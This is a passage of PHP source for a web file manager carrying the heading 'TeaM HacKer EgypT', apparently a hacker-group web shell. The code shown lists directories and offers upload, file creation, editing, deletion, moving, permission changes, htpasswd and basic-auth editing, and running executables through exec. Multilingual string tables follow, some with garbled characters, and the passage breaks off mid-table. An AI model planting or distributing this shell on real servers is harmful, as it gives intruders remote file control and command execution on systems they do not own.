  1097. $path = ereg_replace($regex, $delim, $path);
  1098. }
  1099.  
  1100. return $path;
  1101.  
  1102. }
  1103.  
  1104. function human_filesize ($filesize) {
  1105.  
  1106. $suffices = 'kMGTPE';
  1107.  
  1108. $n = 0;
  1109. while ($filesize >= 1000) {
  1110. $filesize /= 1024;
  1111. $n++;
  1112. }
  1113.  
  1114. $filesize = round($filesize, 3 - strpos($filesize, '.'));
  1115.  
  1116. if (strpos($filesize, '.') !== false) {
  1117. while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
  1118. $filesize = substr($filesize, 0, strlen($filesize) - 1);
  1119. }
  1120. }
  1121.  
  1122. $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
  1123.  
  1124. return $filesize . " {$suffix}B";
  1125.  
  1126. }
  1127.  
  1128. function strip (&$str) {
  1129. $str = stripslashes($str);
  1130. }
  1131.  
  1132. /* ------------------------------------------------------------------------- */
  1133.  
  1134. function listing_page ($message = null) {
  1135. global $self, $directory, $sort, $reverse;
  1136.  
  1137. html_header();
  1138.  
  1139. $list = getlist($directory);
  1140.  
  1141. if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
  1142. if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
  1143.  
  1144. sortlist($list, $sort, $reverse);
  1145.  
  1146. echo '<h1 style="margin-bottom: 0">TeaM HacKer EgypT</h1>
  1147.  
  1148. <form enctype="multipart/form-data" action="' . $self . '" method="post">
  1149.  
  1150. <table id="main">
  1151. ';
  1152.  
  1153. directory_choice();
  1154.  
  1155. if (!empty($message)) {
  1156. spacer();
  1157. echo $message;
  1158. }
  1159.  
  1160. if (@is_writable($directory)) {
  1161. upload_box();
  1162. create_box();
  1163. } else {
  1164. spacer();
  1165. }
  1166.  
  1167. if ($list) {
  1168. listing($list);
  1169. } else {
  1170. echo error('not_readable', $directory);
  1171. }
  1172.  
  1173. echo '</table>
  1174.  
  1175. </form>
  1176.  
  1177. ';
  1178.  
  1179. html_footer();
  1180.  
  1181. }
  1182.  
  1183. function listing ($list) {
  1184. global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
  1185.  
  1186. echo '<tr class="listing">
  1187. <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
  1188. ';
  1189.  
  1190. $d = 'dir=' . urlencode($directory) . '&amp;';
  1191.  
  1192. if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = '';
  1193. echo "\t<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>\n";
  1194.  
  1195. if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = '';
  1196. echo "\t<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>\n";
  1197.  
  1198. if (!$win) {
  1199.  
  1200. if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = '';
  1201. echo "\t<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>\n";
  1202.  
  1203. if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = '';
  1204. echo "\t<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>\n";
  1205.  
  1206. if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = '';
  1207. echo "\t<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>\n";
  1208.  
  1209. }
  1210.  
  1211. echo ' <th class="functions">' . word('functions') . '</th>
  1212. </tr>
  1213. ';
  1214.  
  1215. for ($i = 0; $i < sizeof($list); $i++) {
  1216. $file = $list[$i];
  1217.  
  1218. $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
  1219. $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
  1220. $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
  1221.  
  1222. echo '<tr class="listing">
  1223. <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
  1224. <td class="filename" title="' . html($timestamps) . '">';
  1225.  
  1226. if ($file['is_link']) {
  1227.  
  1228. echo '<img src="' . $self . '?image=link" alt="link" /> ';
  1229. echo html($file['filename']) . ' &rarr; ';
  1230.  
  1231. $real_file = relative2absolute($file['target'], $directory);
  1232.  
  1233. if (@is_readable($real_file)) {
  1234. if (@is_dir($real_file)) {
  1235. echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
  1236. } else {
  1237. echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
  1238. }
  1239. } else {
  1240. echo html($file['target']);
  1241. }
  1242.  
  1243. } elseif ($file['is_dir']) {
  1244.  
  1245. echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
  1246. if ($win || $file['is_executable']) {
  1247. echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1248. } else {
  1249. echo html($file['filename']);
  1250. }
  1251. echo ' ]';
  1252.  
  1253. } else {
  1254.  
  1255. if (substr($file['filename'], 0, 1) == '.') {
  1256. echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
  1257. } else {
  1258. echo '<img src="' . $self . '?image=file" alt="file" /> ';
  1259. }
  1260.  
  1261. if ($file['is_file'] && $file['is_readable']) {
  1262. echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
  1263. } else {
  1264. echo html($file['filename']);
  1265. }
  1266.  
  1267. }
  1268.  
  1269. if ($file['size'] >= 1000) {
  1270. $human = ' title="' . human_filesize($file['size']) . '"';
  1271. } else {
  1272. $human = '';
  1273. }
  1274.  
  1275. echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
  1276.  
  1277. if (!$win) {
  1278.  
  1279. echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
  1280.  
  1281. $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
  1282. if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
  1283. echo html(permission_octal2string($file['permission']));
  1284. if ($l) echo '</a>';
  1285.  
  1286. echo "</td>\n";
  1287.  
  1288. if (array_key_exists('owner_name', $file)) {
  1289. echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
  1290. } else {
  1291. echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
  1292. }
  1293.  
  1294. if (array_key_exists('group_name', $file)) {
  1295. echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
  1296. } else {
  1297. echo "\t<td class=\"group\">{$file['group']}</td>\n";
  1298. }
  1299.  
  1300. }
  1301.  
  1302. echo ' <td class="functions">
  1303. <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
  1304. ';
  1305.  
  1306. $actions = array();
  1307. if (function_exists('symlink')) {
  1308. $actions[] = 'create_symlink';
  1309. }
  1310. if (@is_writable(dirname($file['path']))) {
  1311. $actions[] = 'delete';
  1312. $actions[] = 'rename';
  1313. $actions[] = 'move';
  1314. }
  1315. if ($file['is_file'] && $file['is_readable']) {
  1316. $actions[] = 'copy';
  1317. $actions[] = 'download';
  1318. if ($file['is_writable']) $actions[] = 'edit';
  1319. }
  1320. if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
  1321. $actions[] = 'execute';
  1322. }
  1323.  
  1324. if (sizeof($actions) > 0) {
  1325.  
  1326. echo ' <select class="small" name="action' . $i . '" size="1">
  1327. <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1328. ';
  1329.  
  1330. foreach ($actions as $action) {
  1331. echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1332. }
  1333.  
  1334. echo ' </select>
  1335. <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
  1336. ';
  1337.  
  1338. }
  1339.  
  1340. echo ' </td>
  1341. </tr>
  1342. ';
  1343.  
  1344. }
  1345.  
  1346. echo '<tr class="listing_footer">
  1347. <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
  1348. <td colspan="' . ($cols - 1) . '">
  1349. <input type="hidden" name="num" value="' . sizeof($list) . '" />
  1350. <input type="hidden" name="focus" value="" />
  1351. <input type="hidden" name="olddir" value="' . html($directory) . '" />
  1352. ';
  1353.  
  1354. $actions = array();
  1355. if (@is_writable(dirname($file['path']))) {
  1356. $actions[] = 'delete';
  1357. $actions[] = 'move';
  1358. }
  1359. $actions[] = 'copy';
  1360.  
  1361. echo ' <select class="small" name="action_all" size="1">
  1362. <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  1363. ';
  1364.  
  1365. foreach ($actions as $action) {
  1366. echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  1367. }
  1368.  
  1369. echo ' </select>
  1370. <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
  1371. </td>
  1372. </tr>
  1373. ';
  1374.  
  1375. }
  1376.  
  1377. function directory_choice () {
  1378. global $directory, $homedir, $cols, $self;
  1379.  
  1380. echo '<tr>
  1381. <td colspan="' . $cols . '" id="directory">
  1382. <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
  1383. <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
  1384. <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
  1385. </td>
  1386. </tr>
  1387. ';
  1388.  
  1389. }
  1390.  
  1391. function upload_box () {
  1392. global $cols;
  1393.  
  1394. echo '<tr>
  1395. <td colspan="' . $cols . '" id="upload">
  1396. ' . word('file') . ':
  1397. <input type="file" name="upload" onfocus="activate(\'other\')" />
  1398. <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
  1399. </td>
  1400. </tr>
  1401. ';
  1402.  
  1403. }
  1404.  
  1405. function create_box () {
  1406. global $cols;
  1407.  
  1408. echo '<tr>
  1409. <td colspan="' . $cols . '" id="create">
  1410. <select name="create_type" size="1" onfocus="activate(\'create\')">
  1411. <option value="file">' . word('file') . '</option>
  1412. <option value="directory">' . word('directory') . '</option>
  1413. </select>
  1414. <input type="text" name="create_name" onfocus="activate(\'create\')" />
  1415. <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
  1416. </td>
  1417. </tr>
  1418. ';
  1419.  
  1420. }
  1421.  
  1422. function edit ($file) {
  1423. global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
  1424.  
  1425. html_header();
  1426.  
  1427. echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
  1428.  
  1429. <form action="' . $self . '" method="post">
  1430.  
  1431. <table class="dialog">
  1432. <tr>
  1433. <td class="dialog">
  1434.  
  1435. <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
  1436.  
  1437. if (array_key_exists('content', $_POST)) {
  1438. echo $_POST['content'];
  1439. } else {
  1440. $f = fopen($file, 'r');
  1441. while (!feof($f)) {
  1442. echo html(fread($f, 8192));
  1443. }
  1444. fclose($f);
  1445. }
  1446.  
  1447. if (!empty($_POST['user'])) {
  1448. echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
  1449. }
  1450. if (!empty($_POST['basic_auth'])) {
  1451. if ($win) {
  1452. $authfile = str_replace('\\', '/', $directory) . $htpasswd;
  1453. } else {
  1454. $authfile = $directory . $htpasswd;
  1455. }
  1456. echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
  1457. echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
  1458. echo 'Require valid-user';
  1459. }
  1460.  
  1461. echo '</textarea>
  1462.  
  1463. <hr />
  1464. ';
  1465.  
  1466. if ($apache && basename($file) == $htpasswd) {
  1467. echo '
  1468. ' . word('user') . ': <input type="text" name="user" />
  1469. ' . word('password') . ': <input type="password" name="password" />
  1470. <input type="submit" value="' . word('add') . '" />
  1471.  
  1472. <hr />
  1473. ';
  1474.  
  1475. }
  1476.  
  1477. if ($apache && basename($file) == $htaccess) {
  1478. echo '
  1479. <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
  1480.  
  1481. <hr />
  1482. ';
  1483.  
  1484. }
  1485.  
  1486. echo '
  1487. <input type="hidden" name="action" value="edit" />
  1488. <input type="hidden" name="file" value="' . html($file) . '" />
  1489. <input type="hidden" name="dir" value="' . html($directory) . '" />
  1490. <input type="reset" value="' . word('reset') . '" id="red_button" />
  1491. <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
  1492.  
  1493. </td>
  1494. </tr>
  1495. </table>
  1496.  
  1497. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  1498.  
  1499. </form>
  1500.  
  1501. ';
  1502.  
  1503. html_footer();
  1504.  
  1505. }
  1506.  
  1507. function spacer () {
  1508. global $cols;
  1509.  
  1510. echo '<tr>
  1511. <td colspan="' . $cols . '" style="height: 1em"></td>
  1512. </tr>
  1513. ';
  1514.  
  1515. }
  1516.  
  1517. function textfieldsize ($content) {
  1518.  
  1519. $size = strlen($content) + 5;
  1520. if ($size < 30) $size = 30;
  1521.  
  1522. return $size;
  1523.  
  1524. }
  1525.  
  1526. function request_dump () {
  1527.  
  1528. foreach ($_REQUEST as $key => $value) {
  1529. echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
  1530. }
  1531.  
  1532. }
  1533.  
  1534. /* ------------------------------------------------------------------------- */
  1535.  
  1536. function html ($string) {
  1537. global $site_charset;
  1538. return htmlentities($string, ENT_COMPAT, $site_charset);
  1539. }
  1540.  
  1541. function word ($word) {
  1542. global $words, $word_charset;
  1543. return htmlentities($words[$word], ENT_COMPAT, $word_charset);
  1544. }
  1545.  
  1546. function phrase ($phrase, $arguments) {
  1547. global $words;
  1548. static $search;
  1549.  
  1550. if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
  1551.  
  1552. for ($i = 0; $i < sizeof($arguments); $i++) {
  1553. $arguments[$i] = nl2br(html($arguments[$i]));
  1554. }
  1555.  
  1556. $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
  1557.  
  1558. return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
  1559.  
  1560. }
  1561.  
  1562. function getwords ($lang) {
  1563. global $word_charset, $date_format;
  1564.  
  1565. switch ($lang) {
  1566. case 'de':
  1567.  
  1568. $date_format = 'd.m.y H:i:s';
  1569. $word_charset = 'ISO-8859-1';
  1570.  
  1571. return array(
  1572. 'directory' => 'Verzeichnis',
  1573. 'file' => 'Datei',
  1574. 'filename' => 'Dateiname',
  1575.  
  1576. 'size' => 'Grِكe',
  1577. 'permission' => 'Rechte',
  1578. 'owner' => 'Eigner',
  1579. 'group' => 'Gruppe',
  1580. 'other' => 'Andere',
  1581. 'functions' => 'Funktionen',
  1582.  
  1583. 'read' => 'lesen',
  1584. 'write' => 'schreiben',
  1585. 'execute' => 'ausführen',
  1586.  
  1587. 'create_symlink' => 'Symlink erstellen',
  1588. 'delete' => 'lِschen',
  1589. 'rename' => 'umbenennen',
  1590. 'move' => 'verschieben',
  1591. 'copy' => 'kopieren',
  1592. 'edit' => 'editieren',
  1593. 'download' => 'herunterladen',
  1594. 'upload' => 'hochladen',
  1595. 'create' => 'erstellen',
  1596. 'change' => 'wechseln',
  1597. 'save' => 'speichern',
  1598. 'set' => 'setze',
  1599. 'reset' => 'zurücksetzen',
  1600. 'relative' => 'Pfad zum Ziel relativ',
  1601.  
  1602. 'yes' => 'Ja',
  1603. 'no' => 'Nein',
  1604. 'back' => 'zurück',
  1605. 'destination' => 'Ziel',
  1606. 'symlink' => 'Symbolischer Link',
  1607. 'no_output' => 'keine Ausgabe',
  1608.  
  1609. 'user' => 'Benutzername',
  1610. 'password' => 'Kennwort',
  1611. 'add' => 'hinzufügen',
  1612. 'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
  1613.  
  1614. 'uploaded' => '"[%1]" wurde hochgeladen.',
  1615. 'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
  1616. 'already_exists' => '"[%1]" existiert bereits.',
  1617. 'created' => '"[%1]" wurde erstellt.',
  1618. 'not_created' => '"[%1]" konnte nicht erstellt werden.',
  1619. 'really_delete' => 'Sollen folgende Dateien wirklich gelِscht werden?',
  1620. 'deleted' => "Folgende Dateien wurden gelِscht:\n[%1]",
  1621. 'not_deleted' => "Folgende Dateien konnten nicht gelِscht werden:\n[%1]",
  1622. 'rename_file' => 'Benenne Datei um:',
  1623. 'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
  1624. 'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
  1625. 'move_files' => 'Verschieben folgende Dateien:',
  1626. 'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
  1627. 'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
  1628. 'copy_files' => 'Kopiere folgende Dateien:',
  1629. 'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
  1630. 'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
  1631. 'not_edited' => '"[%1]" kann nicht editiert werden.',
  1632. 'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
  1633. 'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
  1634. 'saved' => '"[%1]" wurde gespeichert.',
  1635. 'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
  1636. 'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
  1637. 'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
  1638. 'permission_for' => 'Rechte für "[%1]":',
  1639. 'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
  1640. 'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
  1641. 'not_readable' => '"[%1]" kann nicht gelesen werden.'
  1642. );
  1643.  
  1644. case 'fr':
  1645.  
  1646. $date_format = 'd.m.y H:i:s';
  1647. $word_charset = 'ISO-8859-1';
  1648.  
  1649. return array(
  1650. 'directory' => 'Répertoire',
  1651. 'file' => 'Fichier',
  1652. 'filename' => 'Nom fichier',
  1653.  
  1654. 'size' => 'Taille',
  1655. 'permission' => 'Droits',
  1656. 'owner' => 'Propriétaire',
  1657. 'group' => 'Groupe',
  1658. 'other' => 'Autres',
  1659. 'functions' => 'Fonctions',
  1660.  
  1661. 'read' => 'Lire',
  1662. 'write' => 'Ecrire',
  1663. 'execute' => 'Exécuter',
  1664.  
  1665. 'create_symlink' => 'Créer lien symbolique',
  1666. 'delete' => 'Effacer',
  1667. 'rename' => 'Renommer',
  1668. 'move' => 'Déplacer',
  1669. 'copy' => 'Copier',
  1670. 'edit' => 'Ouvrir',
  1671. 'download' => 'Télécharger sur PC',
  1672. 'upload' => 'Télécharger sur serveur',
  1673. 'create' => 'Créer',
  1674. 'change' => 'Changer',
  1675. 'save' => 'Sauvegarder',
  1676. 'set' => 'Exécuter',
  1677. 'reset' => 'Réinitialiser',
  1678. 'relative' => 'Relatif',
  1679.  
  1680. 'yes' => 'Oui',
  1681. 'no' => 'Non',
  1682. 'back' => 'Retour',
  1683. 'destination' => 'Destination',
  1684. 'symlink' => 'Lien symbollique',
  1685. 'no_output' => 'Pas de sortie',
  1686.  
  1687. 'user' => 'Utilisateur',
  1688. 'password' => 'Mot de passe',
  1689. 'add' => 'Ajouter',
  1690. 'add_basic_auth' => 'add basic-authentification',
  1691.  
  1692. 'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
  1693. 'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
  1694. 'already_exists' => '"[%1]" existe déjà.',
  1695. 'created' => '"[%1]" a été créé.',
  1696. 'not_created' => '"[%1]" n a pas pu être créé.',
  1697. 'really_delete' => 'Effacer le fichier?',
  1698. 'deleted' => "Ces fichiers ont été détuits:\n[%1]",
  1699. 'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
  1700. 'rename_file' => 'Renomme fichier:',
  1701. 'renamed' => '"[%1]" a été renommé en "[%2]".',
  1702. 'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
  1703. 'move_files' => 'Déplacer ces fichiers:',
  1704. 'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
  1705. 'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
  1706. 'copy_files' => 'Copier ces fichiers:',
  1707. 'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
  1708. 'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
  1709. 'not_edited' => '"[%1]" ne peut être ouvert.',
  1710. 'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
  1711. 'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
  1712. 'saved' => '"[%1]" a été sauvegardé.',
  1713. 'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
  1714. 'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
  1715. 'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
  1716. 'permission_for' => 'Droits de "[%1]":',
  1717. 'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
  1718. 'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
  1719. 'not_readable' => '"[%1]" ne peut pas être ouvert.'
  1720. );
  1721.  
  1722. case 'it':
  1723.  
  1724. $date_format = 'd-m-Y H:i:s';
  1725. $word_charset = 'ISO-8859-1';
  1726.  
  1727. return array(
  1728. 'directory' => 'Directory',
  1729. 'file' => 'File',
  1730. 'filename' => 'Nome File',
  1731.  
  1732. 'size' => 'Dimensioni',
  1733. 'permission' => 'Permessi',
  1734. 'owner' => 'Proprietario',
  1735. 'group' => 'Gruppo',
  1736. 'other' => 'Altro',
  1737. 'functions' => 'Funzioni',
  1738.  
  1739. 'read' => 'leggi',
  1740. 'write' => 'scrivi',
  1741. 'execute' => 'esegui',
  1742.  
  1743. 'create_symlink' => 'crea link simbolico',
  1744. 'delete' => 'cancella',
  1745. 'rename' => 'rinomina',
  1746. 'move' => 'sposta',
  1747. 'copy' => 'copia',
  1748. 'edit' => 'modifica',
  1749. 'download' => 'download',
  1750. 'upload' => 'upload',
  1751. 'create' => 'crea',
  1752. 'change' => 'cambia',
  1753. 'save' => 'salva',
  1754. 'set' => 'imposta',
  1755. 'reset' => 'reimposta',
  1756. 'relative' => 'Percorso relativo per la destinazione',
  1757.  
  1758. 'yes' => 'Si',
  1759. 'no' => 'No',
  1760. 'back' => 'indietro',
  1761. 'destination' => 'Destinazione',
  1762. 'symlink' => 'Link simbolico',
  1763. 'no_output' => 'no output',
  1764.  
  1765. 'user' => 'User',
  1766. 'password' => 'Password',
  1767. 'add' => 'aggiungi',
  1768. 'add_basic_auth' => 'aggiungi autenticazione base',
  1769.  
  1770. 'uploaded' => '"[%1]" è stato caricato.',
  1771. 'not_uploaded' => '"[%1]" non è stato caricato.',
  1772. 'already_exists' => '"[%1]" esiste già.',
  1773. 'created' => '"[%1]" è stato creato.',
  1774. 'not_created' => '"[%1]" non è stato creato.',
  1775. 'really_delete' => 'Cancello questi file ?',
  1776. 'deleted' => "Questi file sono stati cancellati:\n[%1]",
  1777. 'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
  1778. 'rename_file' => 'File rinominato:',
  1779. 'renamed' => '"[%1]" è stato rinominato in "[%2]".',
  1780. 'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
  1781. 'move_files' => 'Sposto questi file:',
  1782. 'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
  1783. 'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
  1784. 'copy_files' => 'Copio questi file',
  1785. 'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
  1786. 'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
  1787. 'not_edited' => '"[%1]" non puٍ essere modificato.',
  1788. 'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
  1789. 'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
  1790. 'saved' => '"[%1]" è stato salvato.',
  1791. 'not_saved' => '"[%1]" non è stato salvato.',
  1792. 'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
  1793. 'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
  1794. 'permission_for' => 'Permessi di "[%1]":',
  1795. 'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
  1796. 'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
  1797. 'not_readable' => '"[%1]" non puٍ essere letto.'
  1798. );
  1799.  
  1800. case 'nl':
  1801.  
  1802. $date_format = 'n/j/y H:i:s';
  1803. $word_charset = 'ISO-8859-1';
  1804.  
  1805. return array(
  1806. 'directory' => 'Directory',
  1807. 'file' => 'Bestand',
  1808. 'filename' => 'Bestandsnaam',
  1809.  
  1810. 'size' => 'Grootte',
  1811. 'permission' => 'Bevoegdheid',
  1812. 'owner' => 'Eigenaar',
  1813. 'group' => 'Groep',
  1814. 'other' => 'Anderen',
  1815. 'functions' => 'Functies',
  1816.  
  1817. 'read' => 'lezen',
  1818. 'write' => 'schrijven',
  1819. 'execute' => 'uitvoeren',
  1820.  
  1821. 'create_symlink' => 'maak symlink',
  1822. 'delete' => 'verwijderen',
  1823. 'rename' => 'hernoemen',
  1824. 'move' => 'verplaatsen',
  1825. 'copy' => 'kopieren',
  1826. 'edit' => 'bewerken',
  1827. 'download' => 'downloaden',
  1828. 'upload' => 'uploaden',
  1829. 'create' => 'aanmaken',
  1830. 'change' => 'veranderen',
  1831. 'save' => 'opslaan',
  1832. 'set' => 'instellen',
  1833. 'reset' => 'resetten',
  1834. 'relative' => 'Relatief pat naar doel',
  1835.  
  1836. 'yes' => 'Ja',
  1837. 'no' => 'Nee',
  1838. 'back' => 'terug',
  1839. 'destination' => 'Bestemming',
  1840. 'symlink' => 'Symlink',
  1841. 'no_output' => 'geen output',
  1842.  
  1843. 'user' => 'Gebruiker',
  1844. 'password' => 'Wachtwoord',
  1845. 'add' => 'toevoegen',
  1846. 'add_basic_auth' => 'add basic-authentification',
  1847.  
  1848. 'uploaded' => '"[%1]" is verstuurd.',
  1849. 'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
  1850. 'already_exists' => '"[%1]" bestaat al.',
  1851. 'created' => '"[%1]" is aangemaakt.',
  1852. 'not_created' => '"[%1]" kan niet worden aangemaakt.',
  1853. 'really_delete' => 'Deze bestanden verwijderen?',
  1854. 'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
  1855. 'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
  1856. 'rename_file' => 'Bestandsnaam veranderen:',
  1857. 'renamed' => '"[%1]" heet nu "[%2]".',
  1858. 'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
  1859. 'move_files' => 'Verplaats deze bestanden:',
  1860. 'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
  1861. 'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
  1862. 'copy_files' => 'Kopieer deze bestanden:',
  1863. 'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
  1864. 'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
  1865. 'not_edited' => '"[%1]" kan niet worden bewerkt.',
  1866. 'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
  1867. 'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
  1868. 'saved' => '"[%1]" is opgeslagen.',
  1869. 'not_saved' => '"[%1]" is niet opgeslagen.',
  1870. 'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
  1871. 'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
  1872. 'permission_for' => 'Bevoegdheid voor "[%1]":',
  1873. 'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
  1874. 'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
  1875. 'not_readable' => '"[%1]" kan niet worden gelezen.'
  1876. );
  1877.  
  1878. case 'se':
  1879.  
  1880. $date_format = 'n/j/y H:i:s';
  1881. $word_charset = 'ISO-8859-1';
  1882.  
  1883. return array(
  1884. 'directory' => 'Mapp',
  1885. 'file' => 'Fil',
  1886. 'filename' => 'Filnamn',
  1887.  
  1888. 'size' => 'Storlek',
  1889. 'permission' => 'Sنkerhetsnivه',
  1890. 'owner' => 'ؤgare',
  1891. 'group' => 'Grupp',
  1892. 'other' => 'Andra',
  1893. 'functions' => 'Funktioner',
  1894.  
  1895. 'read' => 'Lنs',
  1896. 'write' => 'Skriv',
  1897. 'execute' => 'Utfِr',
  1898.  
  1899. 'create_symlink' => 'Skapa symlink',
